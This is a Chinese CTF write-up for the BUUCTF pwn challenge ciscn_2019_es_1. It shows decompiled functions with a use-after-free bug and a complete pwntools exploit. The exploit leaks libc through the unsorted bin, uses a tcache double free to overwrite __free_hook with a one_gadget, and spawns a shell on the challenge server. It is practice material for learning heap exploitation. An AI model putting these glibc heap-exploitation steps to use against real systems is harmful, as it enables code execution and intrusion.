tcache double free BUUCTF ciscn_2019_es_1
Ubuntu 18的 tcache double free没有加入 key 所以会简单很多
主函数:
1 int __cdecl __noreturn main(int argc, const char **argv, const char **envp) 2 { 3 int v3; // [rsp+24h] [rbp-Ch] BYREF 4 unsigned __int64 v4; // [rsp+28h] [rbp-8h] 5 6 v4 = __readfsqword(0x28u); 7 setbuf(stdin, 0LL); 8 setbuf(stdout, 0LL); 9 setbuf(stderr, 0LL); 10 puts("I hate 2.29 , can you understand me?"); 11 puts("maybe you know the new libc"); 12 while ( 1 ) 13 { 14 while ( 1 ) 15 { 16 menu(); 17 __isoc99_scanf("%d", &v3); 18 getchar(); 19 if ( v3 != 2 ) 20 break; 21 show(); 22 } 23 if ( v3 > 2 ) 24 { 25 if ( v3 == 3 ) 26 { 27 call(); 28 } 29 else 30 { 31 if ( v3 == 4 ) 32 { 33 puts("Jack Ma doesn't like you~"); 34 exit(0); 35 } 36 LABEL_13: 37 puts("Wrong"); 38 } 39 } 40 else 41 { 42 if ( v3 != 1 ) 43 goto LABEL_13; 44 add(); 45 } 46 } 47 }
add函数: 会开一个结构体维护堆块
1 unsigned __int64 add() 2 { 3 int v1; // [rsp+4h] [rbp-3Ch] 4 void **v2; // [rsp+8h] [rbp-38h] 5 size_t size[5]; // [rsp+10h] [rbp-30h] BYREF 6 unsigned __int64 v4; // [rsp+38h] [rbp-8h] 7 8 v4 = __readfsqword(0x28u); 9 if ( heap_number > 12 ) 10 { 11 puts("Enough!"); 12 exit(0); 13 } 14 v1 = heap_number; 15 *((_QWORD *)&heap_addr + v1) = malloc(0x18uLL); 16 puts("Please input the size of compary's name"); 17 __isoc99_scanf("%d", size); 18 *(_DWORD *)(*((_QWORD *)&heap_addr + heap_number) + 8LL) = size[0]; 19 v2 = (void **)*((_QWORD *)&heap_addr + heap_number); 20 *v2 = malloc(LODWORD(size[0])); 21 puts("please input name:"); 22 read(0, **((void ***)&heap_addr + heap_number), LODWORD(size[0])); 23 puts("please input compary call:"); 24 read(0, (void *)(*((_QWORD *)&heap_addr + heap_number) + 12LL), 0xCuLL); 25 *(_BYTE *)(*((_QWORD *)&heap_addr + heap_number) + 23LL) = 0; 26 puts("Done!"); 27 ++heap_number; 28 return __readfsqword(0x28u) ^ v4; 29 }
show函数:
1 unsigned __int64 show() 2 { 3 int index; // [rsp+4h] [rbp-Ch] BYREF 4 unsigned __int64 v2; // [rsp+8h] [rbp-8h] 5 6 v2 = __readfsqword(0x28u); 7 puts("Please input the index:"); 8 __isoc99_scanf("%d", &index); 9 getchar(); 10 if ( *((_QWORD *)&heap_addr + index) ) 11 { 12 puts("name:"); 13 puts(**((const char ***)&heap_addr + index)); 14 puts("phone:"); 15 puts((const char *)(*((_QWORD *)&heap_addr + index) + 12LL)); 16 } 17 puts("Done!"); 18 return __readfsqword(0x28u) ^ v2; 19 }
delete函数:有一个 UAF 可以泄露 libc 基址
1 unsigned __int64 call() 2 { 3 int v1; // [rsp+4h] [rbp-Ch] BYREF 4 unsigned __int64 v2; // [rsp+8h] [rbp-8h] 5 6 v2 = __readfsqword(0x28u); 7 puts("Please input the index:"); 8 __isoc99_scanf("%d", &v1); 9 if ( *((_QWORD *)&heap_addr + v1) ) 10 free(**((void ***)&heap_addr + v1)); //UAF 11 puts("You try it!"); 12 puts("Done"); 13 return __readfsqword(0x28u) ^ v2; 14 }
先是一个 unsorted bin leak 泄露 libc,再用 tcache double free 来改 free_hook 为 system 或者 one_gadget 都行。
exp:
1 from pwn import * 2 context.arch='amd64' 3 context.log_level='debug' 4 5 s=remote('node4.buuoj.cn',25183) 6 #s=process('./1') 7 elf=ELF('./1') 8 #libc=ELF('./glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so') 9 libc=ELF('./libc-2.27a.so') 10 11 def add(size,name,call): 12 s.recvuntil(b'choice:') 13 s.sendline(b'1') 14 s.recvuntil(b"Please input the size of compary's name\n") 15 s.sendline(str(size)) 16 s.recvuntil(b"please input name:\n") 17 s.send(name) 18 s.recvuntil(b"please input compary call:\n") 19 s.send(call) 20 21 def show(index): 22 s.recvuntil(b'choice:') 23 s.sendline(b'2') 24 s.recvuntil(b"Please input the index:\n") 25 s.sendline(str(index)) 26 27 def delete(index): 28 s.recvuntil(b'choice:') 29 s.sendline(b'3') 30 s.recvuntil(b"Please input the index:\n") 31 s.sendline(str(index)) 32 33 34 add(0x410,b'aaa',b'111') #0 35 add(0x20 ,b'bbb',b'222') #1 36 add(0x10 ,b'/bin/sh\x00',b'333') #2 37 38 delete(0) 39 show(0) 40 41 s.recvuntil(b'name:\n') 42 __malloc_hook = u64(s.recv(6).ljust(8,b'\x00')) - 96 - 0x10 43 libc_base = __malloc_hook - libc.sym['__malloc_hook'] 44 __free_hook = libc_base + libc.sym['__free_hook'] 45 __malloc_hook = libc_base + libc.sym['__malloc_hook'] 46 system_addr = libc_base + libc.sym['system'] 47 success('libc_base=>'+hex(libc_base)) 48 49 delete(1) 50 delete(1) 51 add(0x20,p64(__free_hook),b'111') 52 add(0x20,b'ccc',b'111') 53 one_gadget=libc_base+0x4f322 54 add(0x20,p64(one_gadget),b'222') 55 #gdb.attach(s) 56 57 s.interactive()
本文来自博客园,作者:{狒猩橙},转载请注明原文链接:https://www.cnblogs.com/pwnfeifei/p/15749706.html